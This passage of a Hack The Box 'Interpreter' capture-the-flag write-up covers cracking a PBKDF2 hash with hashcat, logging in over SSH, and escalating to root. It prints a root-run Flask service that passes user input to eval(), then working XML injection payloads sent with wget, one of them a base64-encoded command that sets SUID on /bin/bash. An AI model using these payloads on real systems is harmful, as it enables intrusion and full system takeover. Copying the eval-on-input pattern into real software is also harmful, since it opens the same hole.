  • Key: 32 bytes

Therefore, we can base64 decode this in python and get the salt and key. You can read more about this on a post made by 0xBEN: https://notes.benheater.com/books/hash-cracking/page/pbkdf2-hmac-sha256.

There is a slight problem. The iteration count of this hash is 600,000, meaning the computer performs 600,000 SHA-256 operations for EVERY SINGLE PASSWORD GUESS. This would take a very long time to crack. We can still try with hashcat and mode 10900.

Decoding hash

1
2
3
4
5
6
7
8
9
10
11
12
13
┌─[donutmaster@parrot]─[~/Desktop/HTB/Interpreter]
└──╼ $nano clean.py
┌─[donutmaster@parrot]─[~/Desktop/HTB/Interpreter]
└──╼ $cat clean.py
import base64
hash = "REDACTED"
decoded = base64.b64decode(hash)
salt = base64.b64encode(decoded[:8]).decode()
hash2 = base64.b64encode(decoded[8:]).decode()
print(f'Hash: sha256:600000:{salt}:{hash2}')
┌─[donutmaster@parrot]─[~/Desktop/HTB/Interpreter]
└──╼ $python3 clean.py
Hash: sha256:600000:REDACTED:REDACTED

Hashcat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
┌─[donutmaster@parrot]─[~/Desktop/HTB/Interpreter]
└──╼ $echo 'sha256:600000:REDACTED:REDACTED' > hash
┌─[donutmaster@parrot]─[~/Desktop/HTB/Interpreter]
└──╼ $hashcat -m 10900 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #1: cpu-haswell-Intel(R) Core(TM) i7-8700 CPU @ 3.20GHz, 6922/13909 MB (2048 MB allocatable), 3MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP

Watchdog: Temperature abort trigger set to 90c

Host memory required for this attack: 0 MB

Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 2 secs

Cracking performance lower than expected?                 

* Append -w 3 to the commandline.
  This can cause your screen to lag.

* Append -S to the commandline.
  This has a drastic speed impact but can be better for specific attacks.
  Typical scenarios are a small wordlist but a large ruleset.

* Update your backend API runtime / driver the right way:
  https://hashcat.net/faq/wrongdriver

* Create more work items to make use of your parallelization power:
  https://hashcat.net/faq/morework

sha256:600000:REDACTED:REDACTED:REDACTED
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: sha256:600000:REDACTED:REDACTED
Time.Started.....: Sat May 30 18:02:03 2026 (2 mins, 55 secs)
Time.Estimated...: Sat May 30 18:04:58 2026 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:       57 H/s (11.39ms) @ Accel:128 Loops:1024 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: REDACTED/14344385 (0.07%)
Rejected.........: 0/REDACTED (0.00%)
Restore.Point....: REDACTED/14344385 (0.07%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:599040-599999
Candidate.Engine.: Device Generator
Candidates.#1....: REDACTED -> REDACTED
Hardware.Mon.#1..: Util: 96%

Started: Sat May 30 18:01:33 2026
Stopped: Sat May 30 18:04:59 2026

After a while, it did eventually crack! Luckily, it didn’t take too long (about 3.5 minutes).

We can now SSH into sedric.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌─[donutmaster@parrot]─[~/Desktop/HTB/Interpreter]
└──╼ $ssh sedric@interpreter.htb
The authenticity of host 'interpreter.htb (10.129.244.184)' can't be established.
ED25519 key fingerprint is SHA256:Oz7Fk6YvrB8/5uSyuoY+mqLefkwpPaepkXAppxIX0xk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'interpreter.htb' (ED25519) to the list of known hosts.
sedric@interpreter.htb's password: 
Linux interpreter 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat May 30 05:10:09 2026 from REDACTED
sedric@interpreter:~$ ls
user.txt
sedric@interpreter:~$ cat user.txt
REDACTED

Root Flag

Internal Port

We can try a couple commands to see if we get anything interesting.

1
2
sedric@interpreter:~$ sudo -l
-bash: sudo: command not found

It seems like sudo is not installed here.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.3 102092 12044 ?        Ss   02:46   0:00 /sbin/init
root           2  0.0  0.0      0     0 ?        S    02:46   0:00 [kthreadd]
root           3  0.0  0.0      0     0 ?        I<   02:46   0:00 [rcu_gp]
root           4  0.0  0.0      0     0 ?        I<   02:46   0:00 [rcu_par_gp]
root           5  0.0  0.0      0     0 ?        I<   02:46   0:00 [slub_flushwq]
root           6  0.0  0.0      0     0 ?        I<   02:46   0:00 [netns]
root           8  0.0  0.0      0     0 ?        I<   02:46   0:00 [kworker/0:0H-events_highpri]
root          10  0.0  0.0      0     0 ?        I<   02:46   0:00 [mm_percpu_wq]
root          11  0.0  0.0      0     0 ?        I    02:46   0:00 [rcu_tasks_kthread]
root          12  0.0  0.0      0     0 ?        I    02:46   0:00 [rcu_tasks_rude_kthread]
root          13  0.0  0.0      0     0 ?        I    02:46   0:00 [rcu_tasks_trace_kthread]
root          14  0.0  0.0      0     0 ?        S    02:46   0:00 [ksoftirqd/0]
root          15  0.0  0.0      0     0 ?        I    02:46   0:00 [rcu_preempt]
root          16  0.0  0.0      0     0 ?        S    02:46   0:00 [migration/0]
root          17  0.0  0.0      0     0 ?        I    02:46   0:00 [kworker/0:1-cgroup_free]
root          18  0.0  0.0      0     0 ?        S    02:46   0:00 [cpuhp/0]
root          19  0.0  0.0      0     0 ?        S    02:46   0:00 [cpuhp/1]
root          20  0.0  0.0      0     0 ?        S    02:46   0:00 [migration/1]
root          21  0.0  0.0      0     0 ?        S    02:46   0:00 [ksoftirqd/1]
root          23  0.0  0.0      0     0 ?        I<   02:46   0:00 [kworker/1:0H-events_highpri]
root          26  0.0  0.0      0     0 ?        S    02:46   0:00 [kdevtmpfs]
root          27  0.0  0.0      0     0 ?        I<   02:46   0:00 [inet_frag_wq]
root          28  0.0  0.0      0     0 ?        S    02:46   0:00 [kauditd]
root          29  0.0  0.0      0     0 ?        S    02:46   0:00 [khungtaskd]
root          30  0.0  0.0      0     0 ?        S    02:46   0:00 [oom_reaper]
root          32  0.0  0.0      0     0 ?        I<   02:46   0:00 [writeback]
root          33  0.0  0.0      0     0 ?        S    02:46   0:00 [kcompactd0]
root          34  0.0  0.0      0     0 ?        SN   02:46   0:00 [ksmd]
root          35  0.0  0.0      0     0 ?        SN   02:46   0:00 [khugepaged]
root          36  0.0  0.0      0     0 ?        I<   02:46   0:00 [kintegrityd]
root          37  0.0  0.0      0     0 ?        I<   02:46   0:00 [kblockd]
root          38  0.0  0.0      0     0 ?        I<   02:46   0:00 [blkcg_punt_bio]
root          39  0.0  0.0      0     0 ?        I<   02:46   0:00 [tpm_dev_wq]
root          40  0.0  0.0      0     0 ?        I<   02:46   0:00 [edac-poller]
root          41  0.0  0.0      0     0 ?        I<   02:46   0:00 [devfreq_wq]
root          42  0.0  0.0      0     0 ?        I<   02:46   0:00 [kworker/0:1H-kblockd]
root          43  0.0  0.0      0     0 ?        S    02:46   0:00 [kswapd0]
root          50  0.0  0.0      0     0 ?        I<   02:46   0:00 [kthrotld]
root          52  0.0  0.0      0     0 ?        S    02:46   0:00 [irq/24-pciehp]
root          53  0.0  0.0      0     0 ?        S    02:46   0:00 [irq/25-pciehp]
root          54  0.0  0.0      0     0 ?        S    02:46   0:00 [irq/26-pciehp]
root          55  0.0  0.0      0     0 ?        S    02:46   0:00 [irq/27-pciehp]
root          56  0.0  0.0      0     0 ?        S    02:46   0:00 [irq/28-pciehp]
root          57  0.0  0.0      0     0 ?        S    02:46   0:00 [irq/29-pciehp]
root          58  0.0  0.0      0     0 ?        S    02:46   0:00 [irq/30-pciehp]
root          59  0.0  0.0      0     0 ?        S    02:46   0:00 [irq/31-pciehp]
root          60  0.0  0.0      0     0 ?        S    02:46   0:00 [irq/32-pciehp]
root          61  0.0  0.0      0     0 ?        S    02:46   0:00 [irq/33-pciehp]
root          62  0.0  0.0      0     0 ?        S    02:46   0:00 [irq/34-pciehp]
root          63  0.0  0.0      0     0 ?        S    02:46   0:00 [irq/35-pciehp]
root          64  0.0  0.0      0     0 ?        S    02:46   0:00 [irq/36-pciehp]
root          65  0.0  0.0      0     0 ?        S    02:46   0:00 [irq/37-pciehp]
root          66  0.0  0.0      0     0 ?        S    02:46   0:00 [irq/38-pciehp]
root          67  0.0  0.0      0     0 ?        S    02:46   0:00 [irq/39-pciehp]
root          68  0.0  0.0      0     0 ?        S    02:46   0:00 [irq/40-pciehp]
root          69  0.0  0.0      0     0 ?        S    02:46   0:00 [irq/41-pciehp]
root          70  0.0  0.0      0     0 ?        S    02:46   0:00 [irq/42-pciehp]
root          71  0.0  0.0      0     0 ?        S    02:46   0:00 [irq/43-pciehp]
root          72  0.0  0.0      0     0 ?        S    02:46   0:00 [irq/44-pciehp]
root          73  0.0  0.0      0     0 ?        S    02:46   0:00 [irq/45-pciehp]
root          74  0.0  0.0      0     0 ?        S    02:46   0:00 [irq/46-pciehp]
root          75  0.0  0.0      0     0 ?        S    02:46   0:00 [irq/47-pciehp]
root          76  0.0  0.0      0     0 ?        S    02:46   0:00 [irq/48-pciehp]
root          77  0.0  0.0      0     0 ?        S    02:46   0:00 [irq/49-pciehp]
root          78  0.0  0.0      0     0 ?        S    02:46   0:00 [irq/50-pciehp]
root          79  0.0  0.0      0     0 ?        S    02:46   0:00 [irq/51-pciehp]
root          80  0.0  0.0      0     0 ?        S    02:46   0:00 [irq/52-pciehp]
root          81  0.0  0.0      0     0 ?        S    02:46   0:00 [irq/53-pciehp]
root          82  0.0  0.0      0     0 ?        S    02:46   0:00 [irq/54-pciehp]
root          83  0.0  0.0      0     0 ?        S    02:46   0:00 [irq/55-pciehp]
root          84  0.0  0.0      0     0 ?        I<   02:46   0:00 [acpi_thermal_pm]
root          86  0.0  0.0      0     0 ?        I<   02:46   0:00 [mld]
root          87  0.0  0.0      0     0 ?        I<   02:46   0:00 [ipv6_addrconf]
root          92  0.0  0.0      0     0 ?        I<   02:46   0:00 [kstrp]
root          97  0.0  0.0      0     0 ?        I<   02:46   0:00 [zswap-shrink]
root          98  0.0  0.0      0     0 ?        I<   02:46   0:00 [kworker/u5:0]
root         142  0.0  0.0      0     0 ?        I<   02:46   0:00 [kworker/1:1H-kblockd]
root        1101  0.0  0.0      0     0 ?        I<   02:46   0:00 [ata_sff]
root        1105  0.0  0.0      0     0 ?        S    02:46   0:00 [scsi_eh_0]
root        1113  0.0  0.0      0     0 ?        I<   02:46   0:00 [scsi_tmf_0]
root        1123  0.0  0.0      0     0 ?        S    02:46   0:00 [scsi_eh_1]
root        1128  0.0  0.0      0     0 ?        S    02:46   0:00 [scsi_eh_2]
root        1129  0.0  0.0      0     0 ?        I<   02:46   0:00 [vmw_pvscsi_wq_0]
root        1133  0.0  0.0      0     0 ?        I<   02:46   0:00 [scsi_tmf_2]
root        1136  0.0  0.0      0     0 ?        I<   02:46   0:00 [scsi_tmf_1]
root        1139  0.0  0.0      0     0 ?        S    02:46   0:00 [scsi_eh_3]
root        1141  0.0  0.0      0     0 ?        I<   02:46   0:00 [scsi_tmf_3]
root        1145  0.0  0.0      0     0 ?        S    02:46   0:00 [scsi_eh_4]
root        1154  0.0  0.0      0     0 ?        I<   02:46   0:00 [scsi_tmf_4]
root        1156  0.0  0.0      0     0 ?        S    02:46   0:00 [scsi_eh_5]
root        1157  0.0  0.0      0     0 ?        I<   02:46   0:00 [scsi_tmf_5]
root        1167  0.0  0.0      0     0 ?        S    02:46   0:00 [scsi_eh_6]
root        1168  0.0  0.0      0     0 ?        I<   02:46   0:00 [scsi_tmf_6]
root        1170  0.0  0.0      0     0 ?        S    02:46   0:00 [scsi_eh_7]
root        1172  0.0  0.0      0     0 ?        I<   02:46   0:00 [scsi_tmf_7]
root        1174  0.0  0.0      0     0 ?        S    02:46   0:00 [scsi_eh_8]
root        1176  0.0  0.0      0     0 ?        I<   02:46   0:00 [scsi_tmf_8]
root        1177  0.0  0.0      0     0 ?        S    02:46   0:00 [scsi_eh_9]
root        1178  0.0  0.0      0     0 ?        I<   02:46   0:00 [scsi_tmf_9]
root        1179  0.0  0.0      0     0 ?        S    02:46   0:00 [scsi_eh_10]
root        1180  0.0  0.0      0     0 ?        I<   02:46   0:00 [scsi_tmf_10]
root        1181  0.0  0.0      0     0 ?        S    02:46   0:00 [scsi_eh_11]
root        1185  0.0  0.0      0     0 ?        I<   02:46   0:00 [scsi_tmf_11]
root        1186  0.0  0.0      0     0 ?        S    02:46   0:00 [scsi_eh_12]
root        1188  0.0  0.0      0     0 ?        I<   02:46   0:00 [scsi_tmf_12]
root        1189  0.0  0.0      0     0 ?        S    02:46   0:00 [scsi_eh_13]
root        1190  0.0  0.0      0     0 ?        I<   02:46   0:00 [scsi_tmf_13]
root        1191  0.0  0.0      0     0 ?        S    02:46   0:00 [scsi_eh_14]
root        1192  0.0  0.0      0     0 ?        I<   02:46   0:00 [scsi_tmf_14]
root        1194  0.0  0.0      0     0 ?        S    02:46   0:00 [scsi_eh_15]
root        1195  0.0  0.0      0     0 ?        I<   02:46   0:00 [scsi_tmf_15]
root        1196  0.0  0.0      0     0 ?        S    02:46   0:00 [scsi_eh_16]
root        1200  0.0  0.0      0     0 ?        I<   02:46   0:00 [scsi_tmf_16]
root        1201  0.0  0.0      0     0 ?        S    02:46   0:00 [scsi_eh_17]
root        1202  0.0  0.0      0     0 ?        I<   02:46   0:00 [scsi_tmf_17]
root        1203  0.0  0.0      0     0 ?        S    02:46   0:00 [scsi_eh_18]
root        1206  0.0  0.0      0     0 ?        I<   02:46   0:00 [scsi_tmf_18]
root        1208  0.0  0.0      0     0 ?        S    02:46   0:00 [scsi_eh_19]
root        1209  0.0  0.0      0     0 ?        I<   02:46   0:00 [scsi_tmf_19]
root        1210  0.0  0.0      0     0 ?        S    02:46   0:00 [scsi_eh_20]
root        1211  0.0  0.0      0     0 ?        I<   02:46   0:00 [scsi_tmf_20]
root        1213  0.0  0.0      0     0 ?        S    02:46   0:00 [scsi_eh_21]
root        1215  0.0  0.0      0     0 ?        I<   02:46   0:00 [scsi_tmf_21]
root        1216  0.0  0.0      0     0 ?        S    02:46   0:00 [scsi_eh_22]
root        1218  0.0  0.0      0     0 ?        I<   02:46   0:00 [scsi_tmf_22]
root        1219  0.0  0.0      0     0 ?        S    02:46   0:00 [scsi_eh_23]
root        1220  0.0  0.0      0     0 ?        I<   02:46   0:00 [scsi_tmf_23]
root        1222  0.0  0.0      0     0 ?        S    02:46   0:00 [scsi_eh_24]
root        1224  0.0  0.0      0     0 ?        I<   02:46   0:00 [scsi_tmf_24]
root        1225  0.0  0.0      0     0 ?        S    02:46   0:00 [scsi_eh_25]
root        1227  0.0  0.0      0     0 ?        I<   02:46   0:00 [scsi_tmf_25]
root        1229  0.0  0.0      0     0 ?        S    02:46   0:00 [scsi_eh_26]
root        1230  0.0  0.0      0     0 ?        I<   02:46   0:00 [scsi_tmf_26]
root        1231  0.0  0.0      0     0 ?        S    02:46   0:00 [scsi_eh_27]
root        1233  0.0  0.0      0     0 ?        I<   02:46   0:00 [scsi_tmf_27]
root        1235  0.0  0.0      0     0 ?        S    02:46   0:00 [scsi_eh_28]
root        1236  0.0  0.0      0     0 ?        I<   02:46   0:00 [scsi_tmf_28]
root        1237  0.0  0.0      0     0 ?        S    02:46   0:00 [scsi_eh_29]
root        1239  0.0  0.0      0     0 ?        I<   02:46   0:00 [scsi_tmf_29]
root        1241  0.0  0.0      0     0 ?        S    02:46   0:00 [scsi_eh_30]
root        1242  0.0  0.0      0     0 ?        I<   02:46   0:00 [scsi_tmf_30]
root        1243  0.0  0.0      0     0 ?        S    02:46   0:00 [scsi_eh_31]
root        1244  0.0  0.0      0     0 ?        I<   02:46   0:00 [scsi_tmf_31]
root        1246  0.0  0.0      0     0 ?        S    02:46   0:00 [scsi_eh_32]
root        1248  0.0  0.0      0     0 ?        I<   02:46   0:00 [scsi_tmf_32]
root        1276  0.0  0.0      0     0 ?        I    02:46   0:00 [kworker/u4:28-flush-8:0]
root        1356  0.0  0.0      0     0 ?        I    02:46   0:05 [kworker/0:3-events]
root        1530  0.0  0.0      0     0 ?        S    02:46   0:00 [jbd2/sda1-8]
root        1531  0.0  0.0      0     0 ?        I<   02:46   0:00 [ext4-rsv-conver]
root        1572  0.0  0.7  58124 28748 ?        Rs   02:46   0:02 /lib/systemd/systemd-journald
root        1595  0.0  0.1  28028  7448 ?        Ss   02:46   0:00 /lib/systemd/systemd-udevd
root        2043  0.0  0.0      0     0 ?        S    02:46   0:00 [irq/61-vmw_vmci]
root        2060  0.0  0.0      0     0 ?        S    02:46   0:00 [irq/62-vmw_vmci]
root        2168  0.0  0.0      0     0 ?        S    02:46   0:00 [irq/63-vmw_vmci]
root        2170  0.0  0.0      0     0 ?        S    02:46   0:00 [irq/16-vmwgfx]
systemd+    2339  0.0  0.1  90104  6664 ?        Ssl  02:46   0:00 /lib/systemd/systemd-timesyncd
root        2449  0.0  0.1  92460  7684 ?        R<sl 02:46   0:00 /sbin/auditd
_laurel     2467  0.0  0.1   9448  5876 ?        R<   02:46   0:01 /usr/local/sbin/laurel --config /etc/laurel/config.toml
root        2848  0.0  0.0      0     0 ?        I<   02:46   0:00 [cryptd]
root        2861  0.0  0.0      0     0 ?        S    02:46   0:00 [audit_prune_tree]
root        3137  0.0  0.0   6616  2624 ?        Ss   02:46   0:00 /usr/sbin/cron -f
message+    3138  0.0  0.1   9244  5068 ?        Ss   02:46   0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidf
root        3146  0.0  0.1 221800  4716 ?        Ssl  02:46   0:00 /usr/sbin/rsyslogd -n -iNONE
root        3147  0.0  0.1  17028  7804 ?        Ss   02:46   0:00 /lib/systemd/systemd-logind
root        3156  0.0  0.1  16552  5928 ?        Ss   02:46   0:00 /sbin/wpa_supplicant -u -s -O DIR=/run/wpa_supplicant GROUP=netdev
root        3249  0.0  0.0   5876  3548 ?        Ss   02:46   0:00 dhclient -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhc
root        3325  0.0  0.0      0     0 ?        I    02:46   0:00 [kworker/1:4-events]
root        3398  0.1  0.2 144712 11352 ?        Sl   02:46   0:09 /usr/sbin/vmtoolsd
root        3450  0.0  0.2  40776 11416 ?        S    02:46   0:00 /usr/lib/vmware-vgauth/VGAuthService -s
root        3550  0.0  0.6 400212 25876 ?        Ssl  02:46   0:03 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
mirth       3553  0.8 11.2 2920572 452140 ?      Ssl  02:46   1:14 /usr/lib/jvm/java-17-openjdk-amd64/bin/java -server -Xmx256m -Djav
root        3555  0.0  0.7  39872 31040 ?        Ss   02:46   0:01 /usr/bin/python3 /usr/local/bin/notif.py
root        3567  0.0  0.0   5880  1036 tty1     Ss+  02:46   0:00 /sbin/agetty -o -p -- \u --noclear - linux
root        3579  0.0  0.2  15452  9328 ?        Ss   02:46   0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
mysql       3679  0.0  3.5 1415460 143484 ?      Ssl  02:46   0:01 /usr/sbin/mariadbd
root        3997  0.0  0.0      0     0 ?        I    03:01   0:00 [kworker/1:0-events]
root        4324  0.0  0.0      0     0 ?        I    04:36   0:00 [kworker/u4:2-ext4-rsv-conversion]
mirth       4356  0.0  0.0   3220  2904 ?        S    04:44   0:00 ./UTkunZiYqzRI
mirth       4357  0.0  0.0   2584   928 ?        S    04:45   0:00 /bin/sh
mirth       4360  0.0  0.0   3932  2980 ?        S    04:46   0:00 /usr/bin/bash
mirth       4399  0.0  0.2  19088 11136 ?        S    04:46   0:00 /usr/bin/python3 -Wignore -c import base64,zlib;exec(zlib.decompre
mirth       4400  0.0  0.0   7552  3676 pts/0    Ss   04:46   0:00 /usr/bin/bash -i
root        4412  0.0  0.0      0     0 ?        I    04:48   0:00 [kworker/u4:1-events_unbound]
mirth       4415  0.0  0.2  21676 10524 pts/0    S+   04:51   0:00 mysql -h localhost -u mirthdb -p
root        4475  0.0  0.2  17752 11068 ?        Ss   05:10   0:00 sshd: sedric [priv]
sedric      4478  0.0  0.2  18904 10360 ?        Ss   05:10   0:00 /lib/systemd/systemd --user
sedric      4479  0.0  0.0 103152  3036 ?        S    05:10   0:00 (sd-pam)
root        4480  0.0  0.0      0     0 ?        I    05:10   0:00 [kworker/0:0-rcu_gp]
sedric      4490  0.0  0.1  18012  6896 ?        S    05:10   0:00 sshd: sedric@pts/1
sedric      4491  0.0  0.1   7980  4788 pts/1    Ss   05:10   0:00 -bash
sedric      4505  0.0  0.1  11092  4408 pts/1    R+   05:11   0:00 ps aux

When looking closely, we can see an intersting file being ran: /usr/local/bin/notif.py.

1
2
sedric@interpreter:~$ ls -lah /usr/local/bin/notif.py
-rwxr----- 1 root sedric 2.3K Sep 19  2025 /usr/local/bin/notif.py

We do not have write or execute permissions, but we can read the file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
"""
Notification server for added patients.
This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/.
It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine.
It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function.
"""
from flask import Flask, request, abort
import re
import uuid
from datetime import datetime
import xml.etree.ElementTree as ET, os

app = Flask(__name__)
USER_DIR = "/var/secure-health/patients/"; os.makedirs(USER_DIR, exist_ok=True)

def template(first, last, sender, ts, dob, gender):
    pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
    for s in [first, last, sender, ts, dob, gender]:
        if not pattern.fullmatch(s):
            return "[INVALID_INPUT]"
    # DOB format is DD/MM/YYYY
    try:
        year_of_birth = int(dob.split('/')[-1])
        if year_of_birth < 1900 or year_of_birth > datetime.now().year:
            return "[INVALID_DOB]"
    except:
        return "[INVALID_DOB]"
    template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
    try:
        return eval(f"f'''{template}'''")
    except Exception as e:
        return f"[EVAL_ERROR] {e}"

@app.route("/addPatient", methods=["POST"])
def receive():
    if request.remote_addr != "127.0.0.1":
        abort(403)
    try:
        xml_text = request.data.decode()
        xml_root = ET.fromstring(xml_text)
    except ET.ParseError:
        return "XML ERROR\n", 400
    patient = xml_root if xml_root.tag=="patient" else xml_root.find("patient")
    if patient is None:
        return "No <patient> tag found\n", 400
    id = uuid.uuid4().hex
    data = {tag: (patient.findtext(tag) or "") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]}
    notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"])
    path = os.path.join(USER_DIR,f"{id}.txt")
    with open(path,"w") as f:
        f.write(notification+"\n")
    return notification

if __name__=="__main__":
    app.run("127.0.0.1",54321, threaded=True)

We can see that the service is running on the internal port 54321.

Code Injection

You can also see a vulnerability.

1
2
template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old..."
return eval(f"f'''{template}'''")

This is an SSTI/eval injection vulnerability. The code takes in user input, embeds it into an f-string, and uses eval(). We can inject code (aka commands), which the system will run.

Allowed Characters: ^[a-zA-Z0-9._'\"(){}=+/]+$

You can see that some important characters are not allowed, like space. However, let us first test if this vulnerabilty actually exists using the following command:

1
2
3
wget -q -O- http://127.0.0.1:54321/addPatient \
  --post-data='<?xml version="1.0"?><patient><firstname>{__import__("os").popen("id").read()}</firstname><lastname>test</lastname><sender_app>test</sender_app><timestamp>test</timestamp><birth_date>01/01/1990</birth_date><gender>M</gender></patient>' \
  --header="Content-Type: application/xml"

This command would theoretically run id as root.

1
2
3
4
5
sedric@interpreter:~$ wget -q -O- http://127.0.0.1:54321/addPatient \
  --post-data='<?xml version="1.0"?><patient><firstname>{__import__("os").popen("id").read()}</firstname><lastname>test</lastname><sender_app>test</sender_app><timestamp>test</timestamp><birth_date>01/01/1990</birth_date><gender>M</gender></patient>' \
  --header="Content-Type: application/xml"
Patient uid=0(root) gid=0(root) groups=0(root)
 test (M), 36 years old, received from test at test

And, as we can see, it does run as root and command injection is allowed. To become root, it is a bit trickier, as some characters (like space) are not allowed. However, we can use base64 encoding and decoding to execute commands.

1
__import__("os").popen(__import__("base64").b64decode("Y2htb2QgK3MgL2Jpbi9iYXNoCg==").decode()).read()

This code will allow us to run the base64 decoded command of the base64 string given.

Y2htb2QgK3MgL2Jpbi9iYXNoCg== decodes to chmod +s /bin/bash, adding a suid binary to /bin/bash.

The full command becomes:

1
2
3
wget -q -O- http://127.0.0.1:54321/addPatient \
  --post-data='<?xml version="1.0"?><patient><firstname>{__import__("os").popen(__import__("base64").b64decode("Y2htb2QgK3MgL2Jpbi9iYXNoCg==").decode()).read()}</firstname><lastname>test</lastname><sender_app>test</sender_app><timestamp>test</timestamp><birth_date>01/01/1990</birth_date><gender>M</gender></patient>' \
  --header="Content-Type: application/xml"
1
2
3
4
5
6
sedric@interpreter:~$ wget -q -O- http://127.0.0.1:54321/addPatient \
  --post-data='<?xml version="1.0"?><patient><firstname>{__import__("os").popen(__import__("base64").b64decode("Y2htb2QgK3MgL2Jpbi9iYXNoCg==").decode()).read()}</firstname><lastname>test</lastname><sender_app>test</sender_app><timestamp>test</timestamp><birth_date>01/01/1990</birth_date><gender>M</gender></patient>' \
  --header="Content-Type: application/xml"
Patient  test (M), 36 years old, received from test at test
sedric@interpreter:~$ ls -lah /bin/bash
-rwsr-sr-x 1 root root 1.3M Sep  6  2025 /bin/bash

Success! /bin/bash does have a suid binary now! We can become root!

1
2
3
4
5
6
7
8
sedric@interpreter:~$ /bin/bash -p
bash-5.2# whoami
root
bash-5.2# cd /root
bash-5.2# ls
root.txt
bash-5.2# cat root.txt
REDACTED

We got all flags!!!!!!!

This post is licensed under CC BY 4.0 by the author.